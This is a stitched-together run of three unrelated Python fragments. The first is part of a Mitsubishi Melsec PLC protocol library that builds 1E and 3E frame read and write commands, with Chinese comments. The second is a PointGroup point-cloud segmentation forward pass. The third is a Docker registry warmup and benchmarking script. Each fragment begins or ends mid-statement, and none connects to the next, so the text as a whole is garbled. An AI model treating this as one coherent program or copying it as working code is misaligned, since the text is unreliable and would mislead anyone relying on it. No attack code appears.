MelsecMcDataType.GetM().FromBase) elif address.startswith("X") or address.startswith("x"): result.Content1 = MelsecMcDataType.GetX() result.Content2 = int(address[1:], MelsecMcDataType.GetX().FromBase) elif address.startswith("Y") or address.startswith("y"): result.Content1 = MelsecMcDataType.GetY() result.Content2 = int(address[1:], MelsecMcDataType.GetY().FromBase) elif address.startswith("D") or address.startswith("d"): result.Content1 = MelsecMcDataType.GetD() result.Content2 = int(address[1:], MelsecMcDataType.GetD().FromBase) elif address.startswith("W") or address.startswith("w"): result.Content1 = MelsecMcDataType.GetW() result.Content2 = int(address[1:], MelsecMcDataType.GetW().FromBase) elif address.startswith("L") or address.startswith("l"): result.Content1 = MelsecMcDataType.GetL() result.Content2 = int(address[1:], MelsecMcDataType.GetL().FromBase) elif address.startswith("F") or address.startswith("f"): result.Content1 = MelsecMcDataType.GetF() result.Content2 = int(address[1:], MelsecMcDataType.GetF().FromBase) elif address.startswith("V") or address.startswith("v"): result.Content1 = MelsecMcDataType.GetV() result.Content2 = int(address[1:], MelsecMcDataType.GetV().FromBase) elif address.startswith("B") or address.startswith("b"): result.Content1 = MelsecMcDataType.GetB() result.Content2 = int(address[1:], MelsecMcDataType.GetB().FromBase) elif address.startswith("R") or address.startswith("r"): result.Content1 = MelsecMcDataType.GetR() result.Content2 = int(address[1:], MelsecMcDataType.GetR().FromBase) elif address.startswith("S") or address.startswith("s"): result.Content1 = MelsecMcDataType.GetS() result.Content2 = int(address[1:], MelsecMcDataType.GetS().FromBase) elif address.startswith("Z") or address.startswith("z"): result.Content1 = MelsecMcDataType.GetZ() result.Content2 = int(address[1:], MelsecMcDataType.GetZ().FromBase) elif address.startswith("T") or address.startswith("t"): result.Content1 = MelsecMcDataType.GetT() result.Content2 = int(address[1:], MelsecMcDataType.GetT().FromBase) elif address.startswith("C") or address.startswith("c"): result.Content1 = MelsecMcDataType.GetC() result.Content2 = int(address[1:], MelsecMcDataType.GetC().FromBase) else: raise Exception("type not supported!") except Exception as ex: result.Message = str(ex) return result result.IsSuccess = True result.Message = StringResources.SuccessText() return result @staticmethod def BuildBytesFromData( value, length = None ): '''从数据构建一个ASCII格式地址字节''' if length == None: return ('{:02X}'.format(value)).encode('ascii') else: return (('{:0'+ str(length) +'X}').format(value)).encode('ascii') @staticmethod def BuildBytesFromAddress( address, dataType ): '''从三菱的地址中构建MC协议的6字节的ASCII格式的地址''' if dataType.FromBase == 10: return ('{:06d}'.format(address)).encode('ascii') else: return ('{:06X}'.format(address)).encode('ascii') @staticmethod def FxCalculateCRC( data ): '''计算Fx协议指令的和校验信息''' sum = 0 index = 1 while index < (len(data) - 2): sum += data[index] index=index+1 return MelsecHelper.BuildBytesFromData( sum ) @staticmethod def CheckCRC( data ): '''检查指定的和校验是否是正确的''' crc = MelsecHelper.FxCalculateCRC( data ) if (crc[0] != data[data.Length - 2]) : return False if (crc[1] != data[data.Length - 1]) : return False return True class MelsecA1ENet(NetworkDeviceBase): '''三菱PLC通讯协议,采用A兼容1E帧协议实现,使用二进制码通讯,请根据实际型号来进行选取''' PLCNumber = 0xFF def __init__(self,ipAddress= "127.0.0.1",port = 0): '''实例化一个三菱的A兼容1E帧协议的通讯对象''' self.iNetMessage = MelsecA1EBinaryMessage() self.byteTransform = RegularByteTransform() self.ipAddress = ipAddress self.port = port self.WordLength = 1 @staticmethod def BuildReadCommand(address,length,plcNumber): '''根据类型地址长度确认需要读取的指令头''' analysis = MelsecHelper.McA1EAnalysisAddress( address ) if analysis.IsSuccess == False : return OperateResult.CreateFailedResult( analysis ) subtitle = 0 if analysis.Content1.DataType == 0x01: subtitle = 0x00 else: subtitle = 0x01 _PLCCommand = bytearray(12) _PLCCommand[0] = subtitle # 副标题 _PLCCommand[1] = plcNumber # PLC编号 _PLCCommand[2] = 0x0A # CPU监视定时器(L)这里设置为0x00,0x0A,等待CPU返回的时间为10*250ms=2.5秒 _PLCCommand[3] = 0x00 # CPU监视定时器(H) _PLCCommand[4] = analysis.Content2 % 256 # 起始软元件(开始读取的地址) _PLCCommand[5] = analysis.Content2 // 256 _PLCCommand[6] = 0x00 _PLCCommand[7] = 0x00 _PLCCommand[8] = analysis.Content1.DataCode[1] # 软元件代码(L) _PLCCommand[9] = analysis.Content1.DataCode[0] # 软元件代码(H) _PLCCommand[10] = length % 256 # 软元件点数 _PLCCommand[11] = 0x00 return OperateResult.CreateSuccessResult( _PLCCommand ) @staticmethod def BuildWriteCommand( address,value,plcNumber): '''根据类型地址以及需要写入的数据来生成指令头''' analysis = MelsecHelper.McA1EAnalysisAddress( address ) if analysis.IsSuccess == False : return OperateResult.CreateFailedResult( analysis ) length = -1 if analysis.Content1.DataType == 1: # 按照位写入的操作,数据需要重新计算 length2 = len(value) // 2 + 1 if len(value) % 2 == 0 : length2 = len(value) // 2 buffer = bytearray(length2) for i in range(length2): if value[i * 2 + 0] != 0x00 : buffer[i] += 0x10 if (i * 2 + 1) < len(value) : if value[i * 2 + 1] != 0x00 : buffer[i] += 0x01 length = len(value) value = buffer subtitle = 0 if analysis.Content1.DataType == 0x01: subtitle = 0x02 else: subtitle = 0x03 _PLCCommand = bytearray(12 + len(value)) _PLCCommand[0] = subtitle # 副标题 _PLCCommand[1] = plcNumber # PLC编号 _PLCCommand[2] = 0x0A # CPU监视定时器(L)这里设置为0x00,0x0A,等待CPU返回的时间为10*250ms=2.5秒 _PLCCommand[3] = 0x00 # CPU监视定时器(H) _PLCCommand[4] = analysis.Content2 % 256 # 起始软元件(开始读取的地址) _PLCCommand[5] = analysis.Content2 // 256 _PLCCommand[6] = 0x00 _PLCCommand[7] = 0x00 _PLCCommand[8] = analysis.Content1.DataCode[1] # 软元件代码(L) _PLCCommand[9] = analysis.Content1.DataCode[0] # 软元件代码(H) _PLCCommand[10] = length % 256 # 软元件点数 _PLCCommand[11] = 0x00 # 判断是否进行位操作 if analysis.Content1.DataType == 1: if length > 0: _PLCCommand[10] = length % 256 # 软元件点数 else: _PLCCommand[10] = len(value) * 2 % 256 # 软元件点数 else: _PLCCommand[10] = len(value) // 2 % 256 # 软元件点数 _PLCCommand[12:] = value return OperateResult.CreateSuccessResult( _PLCCommand ) @staticmethod def ExtractActualData( response, isBit ): ''' 从PLC反馈的数据中提取出实际的数据内容,需要传入反馈数据,是否位读取''' if isBit == True: # 位读取 Content = bytearray((len(response) - 2) * 2) i = 2 while i < len(response): if (response[i] & 0x10) == 0x10: Content[(i - 2) * 2 + 0] = 0x01 if (response[i] & 0x01) == 0x01: Content[(i - 2) * 2 + 1] = 0x01 i = i + 1 return OperateResult.CreateSuccessResult( Content ) else: # 字读取 return OperateResult.CreateSuccessResult( response[2:] ) def Read( self, address, length ): '''从三菱PLC中读取想要的数据,返回读取结果''' # 获取指令 command = MelsecA1ENet.BuildReadCommand( address, length, self.PLCNumber ) if command.IsSuccess == False : return OperateResult.CreateFailedResult( command ) # 核心交互 read = self.ReadFromCoreServer( command.Content ) if read.IsSuccess == False : return OperateResult.CreateFailedResult( read ) # 错误代码验证 errorCode = read.Content[1] if errorCode != 0 : return OperateResult(err=errorCode, msg=StringResources.MelsecPleaseReferToManulDocument()) # 数据解析,需要传入是否使用位的参数 return MelsecA1ENet.ExtractActualData( read.Content, command.Content[0] == 0x00 ) def ReadBool( self, address, length = None ): '''从三菱PLC中批量读取位软元件,返回读取结果''' if length == None: read = self.ReadBool(address,1) if read.IsSuccess == False: return OperateResult.CreateFailedResult(read) else: return OperateResult.CreateSuccessResult(read.Content[0]) else: # 解析地址 analysis = MelsecHelper.McA1EAnalysisAddress( address ) if analysis.IsSuccess == False : return OperateResult.CreateFailedResult( analysis ) # 位读取校验 if analysis.Content1.DataType == 0x00 : return OperateResult( msg = StringResources.MelsecReadBitInfo() ) # 核心交互 read = self.Read( address, length ) if read.IsSuccess == False : return OperateResult.CreateFailedResult( read ) # 转化bool数组 content = [] for i in range(length): if read.Content[i] == 0x01: content.append(True) else: content.append(False) return OperateResult.CreateSuccessResult( content ) def Write( self, address, value ): '''向PLC写入数据,数据格式为原始的字节类型''' # 解析指令 command = MelsecA1ENet.BuildWriteCommand( address, value, self.PLCNumber ) if command.IsSuccess == False : return command # 核心交互 read = self.ReadFromCoreServer( command.Content ) if read.IsSuccess == False : return read # 错误码校验 errorCode = read.Content[1] if errorCode != 0 : return OperateResult(err=errorCode, msg=StringResources.MelsecPleaseReferToManulDocument()) # 成功 return OperateResult.CreateSuccessResult( ) def WriteBool( self, address, values ): '''向PLC中位软元件写入bool数组或是值,返回值说明,比如你写入M100,values[0]对应M100''' if type(values) == list: buffer = bytearray(len(values)) for i in range(len(values)): if values[i] == True: buffer[i] = 0x01 return self.Write(address, buffer) else: return self.Write(address,[values]) class MelsecMcNet(NetworkDeviceBase): '''三菱PLC通讯类,采用Qna兼容3E帧协议实现,需要在PLC侧先的以太网模块先进行配置,必须为二进制通讯''' NetworkNumber = 0 NetworkStationNumber = 0 def __init__(self,ipAddress= "127.0.0.1",port = 0): '''实例化一个三菱的Qna兼容3E帧协议的通讯对象''' self.iNetMessage = MelsecQnA3EBinaryMessage() self.byteTransform = RegularByteTransform() self.ipAddress = ipAddress self.port = port self.WordLength = 1 @staticmethod def BuildReadCommand(address,length,networkNumber = 0,networkStationNumber = 0): '''根据类型地址长度确认需要读取的指令头''' analysis = MelsecHelper.McAnalysisAddress( address ) if analysis.IsSuccess == False : return OperateResult.CreateFailedResult( analysis ) _PLCCommand = bytearray(21) _PLCCommand[0] = 0x50 # 副标题 _PLCCommand[1] = 0x00 _PLCCommand[2] = networkNumber # 网络号 _PLCCommand[3] = 0xFF # PLC编号 _PLCCommand[4] = 0xFF # 目标模块IO编号 _PLCCommand[5] = 0x03 _PLCCommand[6] = networkStationNumber # 目标模块站号 _PLCCommand[7] = 0x0C # 请求数据长度 _PLCCommand[8] = 0x00 _PLCCommand[9] = 0x0A # CPU监视定时器 _PLCCommand[10] = 0x00 _PLCCommand[11] = 0x01 # 批量读取数据命令 _PLCCommand[12] = 0x04 _PLCCommand[13] = analysis.Content1.DataType # 以点为单位还是字为单位成批读取 _PLCCommand[14] = 0x00 _PLCCommand[15] = analysis.Content2 % 256 # 起始地址的地位 _PLCCommand[16] = analysis.Content2 // 256 _PLCCommand[17] = 0x00 _PLCCommand[18] = analysis.Content1.DataCode # 指明读取的数据 _PLCCommand[19] = length % 256 # 软元件长度的地位 _PLCCommand[20] = length // 256 return OperateResult.CreateSuccessResult(_PLCCommand) @staticmethod def BuildWriteCommand( address, value, networkNumber=0, networkStationNumber=0): '''根据类型地址以及需要写入的数据来生成指令头''' analysis = MelsecHelper.McAnalysisAddress( address ) if not analysis.IsSuccess: return OperateResult.CreateFailedResult(analysis) length = -1 if analysis.Content1.DataType == 1: # 按照位写入的操作,数据需要重新计算 length2 = len(value) // 2 + 1 if len(value) % 2 == 0 : length2 = len(value) // 2 buffer = bytearray(length2) for i in range(length2): if value[i * 2 + 0] != 0x00 : buffer[i] += 0x10 if (i * 2 + 1) < len(value) : if value[i * 2 + 1] != 0x00 : buffer[i] += 0x01 length = len(value) value = buffer _PLCCommand = bytearray(21 +
= point_offset_preds ret['center_preds'] = (center_preds, sampled_indexes) ret['center_semantic_preds'] = (center_semantic_preds, sampled_indexes) ret['center_offset_preds'] = (center_offset_preds, sampled_indexes) ret['point_features'] = output_feats elif self.model_mode == 'Yu_refine_clustering_PointGroup': point_offset_preds = [] point_semantic_scores = [] voxel_feats = pointgroup_ops.voxelization(input['pt_feats'], input['v2p_map'], input['mode']) # (M, C), float, cuda input_ = spconv.SparseConvTensor( voxel_feats, input['voxel_coords'], input['spatial_shape'], input['batch_size'] ) output = self.input_conv(input_) output = self.unet(output) output = self.output_layer(output) output_feats = output.features[input_map.long()] output_feats = output_feats.squeeze(dim=0) ### point prediction #### point semantic label prediction point_semantic_scores.append(self.point_semantic(output_feats)) # (N, nClass), float # point_semantic_preds = semantic_scores point_semantic_preds = point_semantic_scores[-1].max(1)[1] #### point offset prediction point_offset_preds.append(self.point_offset(output_feats)) # (N, 3), float32 point_features = output_feats.clone() if (epoch > self.prepare_epochs): for _ in range(self.proposal_refinement['refine_times']): #### get prooposal clusters object_idxs = torch.nonzero(point_semantic_preds > 1).view(-1) batch_idxs_ = batch_idxs[object_idxs] batch_offsets_ = utils.get_batch_offsets(batch_idxs_, input['batch_size']) coords_ = coords[object_idxs] pt_offsets_ = point_offset_preds[-1][object_idxs] semantic_preds_cpu = point_semantic_preds[object_idxs].int().cpu() idx_shift, start_len_shift = pointgroup_ops.ballquery_batch_p(coords_ + pt_offsets_, batch_idxs_, batch_offsets_, self.cluster_radius, self.cluster_shift_meanActive) proposals_idx_shift, proposals_offset_shift = pointgroup_ops.bfs_cluster(semantic_preds_cpu, idx_shift.cpu(), start_len_shift.cpu(), self.cluster_npoint_thre) proposals_idx_shift[:, 1] = object_idxs[proposals_idx_shift[:, 1].long()].int() # proposals_idx_shift: (sumNPoint, 2), int, dim 0 for cluster_id, dim 1 for corresponding point idxs in N # proposals_offset_shift: (nProposal + 1), int c_idxs = proposals_idx_shift[:, 1].cuda() clusters_feats = output_feats[c_idxs.long()] cluster_feature = pointgroup_ops.sec_mean(clusters_feats, proposals_offset_shift.cuda()) # (nCluster, m), float clusters_pts_idxs = proposals_idx_shift[proposals_offset_shift[:-1].long()][:, 1].cuda() if len(clusters_pts_idxs) == 0: continue clusters_batch_idxs = clusters_pts_idxs.clone() for _batch_idx in range(len(batch_offsets_) - 1, 0, -1): clusters_batch_idxs[clusters_pts_idxs < batch_offsets_[_batch_idx]] = _batch_idx refined_point_features = [] for _batch_idx in range(1, len(batch_offsets)): point_refined_feature, _ = self.point_refine_feature_attn( query=output_feats[batch_offsets[_batch_idx-1]:batch_offsets[_batch_idx], :].unsqueeze(dim=1), key=cluster_feature[clusters_batch_idxs == _batch_idx, :].unsqueeze(dim=1), value=cluster_feature[clusters_batch_idxs == _batch_idx, :].unsqueeze(dim=1) ) point_refined_feature = self.atten_outputlayer(point_refined_feature.squeeze(dim=1)) refined_point_features.append(point_refined_feature) refined_point_features = torch.cat(refined_point_features, dim=0) assert refined_point_features.shape[0] == point_features.shape[0], 'point wise features have wrong point numbers' refined_point_features = refined_point_features + point_features point_features = refined_point_features.clone() ### refined point prediction #### refined point semantic label prediction point_semantic_scores.append(self.point_semantic(refined_point_features)) # (N, nClass), float point_semantic_preds = point_semantic_scores[-1].max(1)[1] #### point offset prediction point_offset_preds.append(self.point_offset(refined_point_features)) # (N, 3), float32 if (epoch == self.test_epoch) and input['test']: self.cluster_sets = 'Q' scores, proposals_idx, proposals_offset = self.pointgroup_cluster_algorithm( coords, point_offset_preds[-1], point_semantic_preds, batch_idxs, input['batch_size'] ) ret['proposal_scores'] = (scores, proposals_idx, proposals_offset) ret['point_semantic_scores'] = point_semantic_scores ret['point_offset_preds'] = point_offset_preds elif self.model_mode == 'Fan_center_loss_PointGroup': semantic_scores = [] point_offset_preds = [] points_semantic_center_loss_feature = [] voxel_feats = pointgroup_ops.voxelization(input['pt_feats'], input['v2p_map'], input['mode']) # (M, C), float, cuda input_ = spconv.SparseConvTensor( voxel_feats, input['voxel_coords'], input['spatial_shape'], input['batch_size'] ) output = self.input_conv(input_) output = self.unet(output) output = self.output_layer(output) output_feats = output.features[input_map.long()] output_feats = output_feats.squeeze(dim=0) points_semantic_center_loss_feature.append(output_feats) ### point prediction #### point semantic label prediction semantic_scores.append(self.point_deeper_semantic(output_feats)) # (N, nClass), float point_semantic_preds = semantic_scores[0].max(1)[1] #### point offset prediction point_offset_preds.append(self.point_offset(output_feats)) # (N, 3), float32 # only used to evaluate based on ground truth # point_offset_preds.append(input['point_offset_preds']) # (N, 3), float32 if (epoch > self.prepare_epochs): #### get prooposal clusters object_idxs = torch.nonzero(point_semantic_preds > 1).view(-1) batch_idxs_ = batch_idxs[object_idxs] batch_offsets_ = utils.get_batch_offsets(batch_idxs_, input['batch_size']) coords_ = coords[object_idxs] pt_offsets_ = point_offset_preds[0][object_idxs] semantic_preds_cpu = point_semantic_preds[object_idxs].int().cpu() idx_shift, start_len_shift = pointgroup_ops.ballquery_batch_p( coords_ + pt_offsets_ + (torch.rand(coords_.shape) * 1e-2).cuda(), batch_idxs_, batch_offsets_, self.cluster_radius, self.cluster_shift_meanActive ) # idx_shift, start_len_shift = pointgroup_ops.ballquery_batch_p( # coords_ + pt_offsets_ + (torch.rand(coords_.shape) * 1e-2).cuda(), batch_idxs_, # batch_offsets_, 0.001, self.cluster_shift_meanActive # ) proposals_idx_shift, proposals_offset_shift = pointgroup_ops.bfs_cluster( semantic_preds_cpu, idx_shift.cpu(), start_len_shift.cpu(), self.cluster_npoint_thre ) proposals_idx_shift[:, 1] = object_idxs[proposals_idx_shift[:, 1].long()].int() # proposals_idx_shift: (sumNPoint, 2), int, dim 0 for cluster_id, dim 1 for corresponding point idxs in N # proposals_offset_shift: (nProposal + 1), int idx, start_len = pointgroup_ops.ballquery_batch_p(coords_, batch_idxs_, batch_offsets_, self.cluster_radius, self.cluster_meanActive) proposals_idx, proposals_offset = pointgroup_ops.bfs_cluster(semantic_preds_cpu, idx.cpu(), start_len.cpu(), self.cluster_npoint_thre) proposals_idx[:, 1] = object_idxs[proposals_idx[:, 1].long()].int() # proposals_idx: (sumNPoint, 2), int, dim 0 for cluster_id, dim 1 for corresponding point idxs in N # proposals_offset: (nProposal + 1), int proposals_idx_shift[:, 0] += (proposals_offset.size(0) - 1) proposals_offset_shift += proposals_offset[-1] proposals_idx = torch.cat((proposals_idx, proposals_idx_shift), dim=0) proposals_offset = torch.cat((proposals_offset, proposals_offset_shift[1:])) #### proposals voxelization again input_feats, inp_map = self.clusters_voxelization(proposals_idx, proposals_offset, output_feats, coords, self.score_fullscale, self.score_scale, self.mode) #### score score = self.score_unet(input_feats) score = self.score_outputlayer(score) score_feats = score.features[inp_map.long()] # (sumNPoint, C) score_feats = pointgroup_ops.roipool(score_feats, proposals_offset.cuda()) # (nProposal, C) scores = self.score_linear(score_feats) # (nProposal, 1) ret['proposal_scores'] = (scores, proposals_idx, proposals_offset) ret['point_semantic_scores'] = semantic_scores ret['point_offset_preds'] = point_offset_preds ret['points_semantic_center_loss_feature'] = points_semantic_center_loss_feature elif self.model_mode == 'Yu_refine_clustering_scorenet_PointGroup': point_offset_preds = [] point_semantic_scores = [] voxel_feats = pointgroup_ops.voxelization(input['pt_feats'], input['v2p_map'], input['mode']) # (M, C), float, cuda input_ = spconv.SparseConvTensor( voxel_feats, input['voxel_coords'], input['spatial_shape'], input['batch_size'] ) output = self.input_conv(input_) output = self.unet(output) output = self.output_layer(output) output_feats = output.features[input_map.long()] output_feats = output_feats.squeeze(dim=0) ### point prediction #### point semantic label prediction point_semantic_scores.append(self.point_semantic(output_feats)) # (N, nClass), float # point_semantic_preds = semantic_scores point_semantic_preds = point_semantic_scores[-1].max(1)[1] #### point offset prediction point_offset_preds.append(self.point_offset(output_feats)) # (N, 3), float32 point_features = output_feats.clone() if (epoch > self.prepare_epochs): for _ in range(self.proposal_refinement['refine_times']): #### get prooposal clusters object_idxs = torch.nonzero(point_semantic_preds > 1).view(-1) batch_idxs_ = batch_idxs[object_idxs] batch_offsets_ = utils.get_batch_offsets(batch_idxs_, input['batch_size']) coords_ = coords[object_idxs] pt_offsets_ = point_offset_preds[-1][object_idxs] semantic_preds_cpu = point_semantic_preds[object_idxs].int().cpu() idx_shift, start_len_shift = pointgroup_ops.ballquery_batch_p(coords_ + pt_offsets_, batch_idxs_, batch_offsets_, self.cluster_radius, self.cluster_shift_meanActive) proposals_idx_shift, proposals_offset_shift = pointgroup_ops.bfs_cluster(semantic_preds_cpu, idx_shift.cpu(), start_len_shift.cpu(), self.cluster_npoint_thre) proposals_idx_shift[:, 1] = object_idxs[proposals_idx_shift[:, 1].long()].int() # proposals_idx_shift: (sumNPoint, 2), int, dim 0 for cluster_id, dim 1 for corresponding point idxs in N # proposals_offset_shift: (nProposal + 1), int if proposals_idx_shift.shape[0] == 0: continue #### proposals voxelization again input_feats, inp_map = self.clusters_voxelization( proposals_idx_shift, proposals_offset_shift, output_feats, coords, self.score_fullscale, self.score_scale, self.mode ) #### cluster features clusters = self.cluster_unet(input_feats) clusters = self.cluster_outputlayer(clusters) cluster_feature = clusters.features[inp_map.long()] # (sumNPoint, C) cluster_feature = pointgroup_ops.roipool(cluster_feature, proposals_offset_shift.cuda()) # (nProposal, C) clusters_pts_idxs = proposals_idx_shift[proposals_offset_shift[:-1].long()][:, 1].cuda() if len(clusters_pts_idxs) == 0: continue clusters_batch_idxs = clusters_pts_idxs.clone() for _batch_idx in range(len(batch_offsets_) - 1, 0, -1): clusters_batch_idxs[clusters_pts_idxs < batch_offsets_[_batch_idx]] = _batch_idx refined_point_features = [] for _batch_idx in range(1, len(batch_offsets)): point_refined_feature, _ = self.point_refine_feature_attn( query=output_feats[batch_offsets[_batch_idx - 1]:batch_offsets[_batch_idx], :].unsqueeze( dim=1), key=cluster_feature[clusters_batch_idxs == _batch_idx, :].unsqueeze(dim=1), value=cluster_feature[clusters_batch_idxs == _batch_idx, :].unsqueeze(dim=1) ) point_refined_feature = self.atten_outputlayer(point_refined_feature.squeeze(dim=1)) refined_point_features.append(point_refined_feature) refined_point_features = torch.cat(refined_point_features, dim=0) assert refined_point_features.shape[0] == point_features.shape[ 0], 'point wise features have wrong point numbers' refined_point_features = refined_point_features + point_features point_features = refined_point_features.clone() ### refined point prediction #### refined point semantic label prediction point_semantic_scores.append(self.point_semantic(refined_point_features)) # (N, nClass), float point_semantic_preds = point_semantic_scores[-1].max(1)[1] #### point offset prediction point_offset_preds.append(self.point_offset(refined_point_features)) # (N, 3), float32 if (epoch == self.test_epoch) and input['test']: self.cluster_sets = 'Q' scores, proposals_idx, proposals_offset = self.pointgroup_cluster_algorithm( coords, point_offset_preds[-1], point_semantic_preds, batch_idxs, input['batch_size'] ) ret['proposal_scores'] = (scores, proposals_idx, proposals_offset) ret['point_semantic_scores'] = point_semantic_scores ret['point_offset_preds'] = point_offset_preds elif self.model_mode == 'Yu_stuff_recurrent_PointGroup': point_offset_preds = [] point_semantic_scores = [] point_semantic_recurrent_scores = [] point_offset_recurrent_preds = [] voxel_feats = pointgroup_ops.voxelization(input['pt_feats'], input['v2p_map'], input['mode']) # (M, C), float, cuda input_ = spconv.SparseConvTensor( voxel_feats, input['voxel_coords'], input['spatial_shape'], input['batch_size'] ) output = self.input_conv(input_) output = self.unet(output) output = self.output_layer(output) output_feats = output.features[input_map.long()] output_feats = output_feats.squeeze(dim=0) ### point prediction #### point semantic label prediction point_semantic_scores.append(self.point_semantic(output_feats)) # (N, nClass), float point_semantic_preds = point_semantic_scores[-1].max(1)[1] #### point offset prediction point_offset_preds.append(self.point_offset(output_feats)) # (N, 3), float32 point_semantic_prediction = point_semantic_preds for _ in range(self.stuff_recurrent['recurrent_times']): point_semantic_prediction[point_semantic_preds < 2] = 0 non_stuff_index = point_semantic_prediction > 1 nonstuff_voxel_locs, nonstuff_p2v_map, nonstuff_v2p_map = pointgroup_ops.voxelization_idx( input['point_locs'][non_stuff_index].cpu().clone(), self.batch_size, self.mode ) nonstuff_voxel_locs = nonstuff_voxel_locs.int().cuda() nonstuff_v2p_map = nonstuff_v2p_map.cuda() nonstuff_voxel_feats = pointgroup_ops.voxelization( input['pt_feats'][non_stuff_index], nonstuff_v2p_map, input['mode'] ) # (M, C), float, cuda nonstuff_spatial_shape = np.clip( (input['point_locs'][non_stuff_index].max(0)[0][1:] + 1).cpu().numpy(), self.full_scale[0], None ) # long (3) nonstuff_input_map = nonstuff_p2v_map.cuda() input_ = spconv.SparseConvTensor( nonstuff_voxel_feats, nonstuff_voxel_locs, nonstuff_spatial_shape, input['batch_size'] ) output = self.input_conv(input_) output = self.unet(output) output = self.output_layer(output) output_feats = output.features[nonstuff_input_map.long()] output_feats = output_feats.squeeze(dim=0) point_semantic_recurrent_scores.append((self.point_semantic(output_feats), non_stuff_index)) # (N, nClass), float point_semantic_preds = point_semantic_recurrent_scores[-1][0].max(1)[1] point_offset_recurrent_preds.append((self.point_offset(output_feats), non_stuff_index)) # (N, 3), float32 if (epoch == self.test_epoch) and input['test']: self.cluster_sets = 'Q' nonstuff_point_semantic_preds = point_semantic_recurrent_scores[-1][0].max(1)[1] point_semantic_pred_full = torch.zeros(coords.shape[0], dtype=torch.long).cuda() point_semantic_pred_full[ (point_semantic_preds > 1).nonzero().squeeze(dim=1).long()] = nonstuff_point_semantic_preds[ (point_semantic_preds > 1).nonzero().squeeze(dim=1).long()] point_offset_pred = torch.zeros((coords.shape[0], 3), dtype=torch.float).cuda() point_offset_pred[(point_semantic_preds > 1).nonzero().squeeze(dim=1).long()] = point_offset_preds[-1][ (point_semantic_preds > 1).nonzero().squeeze(dim=1).long()] # TODO: need to change stuff_preds scores, proposals_idx, proposals_offset = self.pointgroup_cluster_algorithm( coords, point_offset_pred, point_semantic_pred_full, batch_idxs, input['batch_size'], stuff_preds=non_stuff_index ) ret['proposal_scores'] = (scores, proposals_idx, proposals_offset) ret['point_semantic_pred_full'] = point_semantic_pred_full ret['point_semantic_scores'] = point_semantic_scores ret['point_offset_preds'] = point_offset_preds elif self.model_mode == 'Yu_stuff_remove_PointGroup': point_offset_preds = [] point_semantic_scores = [] voxel_stuff_feats = pointgroup_ops.voxelization(input['pt_feats'], input['v2p_map'], input['mode']) # (M, C), float, cuda stuff_input_ = spconv.SparseConvTensor( voxel_stuff_feats, input['voxel_coords'], input['spatial_shape'], input['batch_size'] ) stuff_output = self.stuff_conv(stuff_input_) stuff_output = self.stuff_unet(stuff_output) stuff_output = self.stuff_output_layer(stuff_output) stuff_output_feats = stuff_output.features[input_map.long()] stuff_output_feats = stuff_output_feats.squeeze(dim=0) stuff_preds = self.stuff_linear(stuff_output_feats) if 'nonstuff_feats' in input.keys(): nonstuff_voxel_feats = pointgroup_ops.voxelization( input['nonstuff_feats'], input['nonstuff_v2p_map'], input['mode'] ) # (M, C), float, cuda nonstuff_voxel_locs = input['nonstuff_voxel_locs'] nonstuff_spatial_shape = input['nonstuff_spatial_shape'] nonstuff_input_map = input['nonstuff_p2v_map'] else: nonstuff_voxel_locs, nonstuff_p2v_map, nonstuff_v2p_map = pointgroup_ops.voxelization_idx( input['point_locs'][stuff_preds.max(1)[1] == 1].cpu().clone(), self.batch_size, self.mode )
<reponame>nnzhaocs/docker-performance import sys import os from argparse import ArgumentParser import time import datetime import random import json import yaml from dxf import * from collections import defaultdict import socket from concurrent.futures import ProcessPoolExecutor from concurrent.futures import as_completed from os.path import stat from uhashring import HashRing import numpy as np from client import * # from organize_requests import * from split_into_clients import * results_dir = "/home/nannan/testing/results/" # TYPE XXX USRADDR XXX REPONAME XXX ; lowcases!!!! """ /* //TYPE XXX USRADDR XXX REPONAME XXX MANIFEST LAYER SLICE PRECONSTRUCTLAYER '''' WARMUPLAYER */ """ def send_warmup_thread(req): registries = req[0] request = req[1] #print "send_warmup_thread" print("request: ", request) all = distribute_put_requests(request, 'WARMUP', registries) print("send_warmup_thread: ", all) return all ####################### # send to registries according to cht # warmup output file is <uri to dgst > map table # only consider 'get' requests # let set threads = n* len(registries) ####################### def warmup(out_trace, threads): dedupL = {} dedupM = {} get_M = 0 get_L = 0 total_cnt = 0 trace = {} results = [] process_data = [] fname = realblobtrace_dir+'input_tracefile'+'-client-realblob.json' data = get_requests(fname) data.sort(key= lambda x: x['delay']) for request in data: unique = True if request['method'] == 'GET': uri = request['uri'] id = uri.split('/')[-1] total_cnt += 1 if 'manifest' in request['uri']: get_M += 1 try: x = dedupM[id] continue except Exception as e: dedupM[id] = 1 else: get_L += 1 try: x = dedupL[id] continue except Exception as e: dedupL[id] = 1 # *********** which registry should store this layer/manifest? ************ #uri = request['uri'] if 'manifest' in uri: type = 'MANIFEST' else: type = 'WARMUPLAYER' parts = uri.split('/') reponame = parts[1] + parts[2] client = request['client'] dedupreponame = 'TYPE'+type+'USRADDR'+client+'REPONAME'+reponame nodedupreponame = "testrepo" registry_tmps = get_write_registries(request, dedupreponame, nodedupreponame) print registry_tmps process_data.append((registry_tmps, request)) n = 100 process_slices = [process_data[i:i + n] for i in xrange(0, len(process_data), n)] #print threads for s in process_slices: with ProcessPoolExecutor(max_workers=threads) as executor: futures = [executor.submit(send_warmup_thread, req) for req in s] for future in as_completed(futures): # print(future.result()) try: x = future.result() for k in x['trace']: if x['trace'][k] != 'bad': trace[k] = x['trace'][k] results.append(x['result']) except Exception as e: print('warmup: something generated an exception: %s', e) #break #stats(results) time.sleep(30) with open(out_trace, 'w') as f: json.dump(trace, f) stats(results) with open('warmup_push_performance.json', 'w') as f: json.dump(results, f) print "Warmup information:" print "Number of warmup threads: " + str(threads) print "Replica_level: " + str(replica_level) print 'Get layer request unique count: ' + str(len(dedupL)) print 'Get manifest request unique count: ' + str(len(dedupM)) print 'Total get layer request count: ' + str(get_L) print 'Total get manifest request count: ' + str(get_M) print "Total warmup unique requests (for get layer/manifest requests): " + str(len(process_data)) ############# # NANNAN: change `onTime` for distributed dedup response # {'size': size, 'onTime': onTime, 'duration': t} # {'time': now, 'duration': t, 'onTime': onTime_l} ############## def stats(responses): if len(responses) == 0: return responses.sort(key = lambda x: x['time']) endtime = 0 data = 0 latency = 0 total = len(responses) onTimes = 0 failed = 0 getlayerlatency = 0 gettotallayer = 0 getlayerlatencies = [] getmanifestlatency = 0 gettotalmanifest = 0 getmanifestlatencies = [] putlayerlatency = 0 puttotallayer = 0 putlayerlatencies = [] putmanifestlatency = 0 puttotalmanifest = 0 putmanifestlatencies = [] warmuplayerlatency = 0 warmuptotallayer = 0 warmuplayerlatencies = [] warmupmanifestlatency = 0 warmuptotalmanifest = 0 warmupmanifestlatencies = [] 